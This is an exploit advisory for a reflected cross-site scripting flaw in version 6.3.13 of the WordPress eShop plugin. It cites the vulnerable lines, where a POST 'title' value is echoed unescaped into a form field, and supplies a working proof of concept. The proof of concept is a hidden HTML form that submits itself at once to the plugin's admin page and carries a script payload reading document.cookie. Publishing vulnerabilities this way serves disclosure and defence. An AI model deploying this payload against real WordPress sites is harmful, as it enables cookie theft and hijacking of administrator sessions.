WordPress eShop 6.3.13 Cross Site Scripting

`<!--  
# Exploit Title : WordPress eShop Plugin Reflected XSS  
# Exploit Author : Ashiyane Digital Security Team  
# Vendor Homepage : https://wordpress.org/plugins/eshop/  
# Software Link : https://downloads.wordpress.org/plugin/eshop.6.3.13.zip  
# Date: 2015-09-04  
# Version : 6.3.13  
# Tested On : Elementary Os - Firefox  
  
# Vulnerable Code:  
# File: eshop-downloads.php , Line: 138 And 468  
  
# Line 138:  
# $atitle=$_POST['title'];  
  
# Line 468:  
<input type="text" name="title" id="filetitle" size="35" value="<?php   
echo $atitle; ?>" />  
  
# Exploit :  
-->  
  
<form   
action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=eshop-downloads.php" Method="post" nAme="form1"   
enctype="multipart/form-data">  
<input name="upfile" type="HidDen" value="M" />  
<input type="hIdden" name="max_file_size" value="67108864" />  
<input type="HIDDEN" Name="title"   
value='"><script>alert(document.cookie)</script><"'/>  
<input name="overwrite" value="yes" type="hidden" />  
<input type="hidden" name="up" value="upload File" class="button-primary" />  
</form>  
<script language="javascript">  
setTimeout('form1.submit()', 1);  
</script>  
  
<!--  
# Discovered By : Ehsan Hosseini  
-->  
`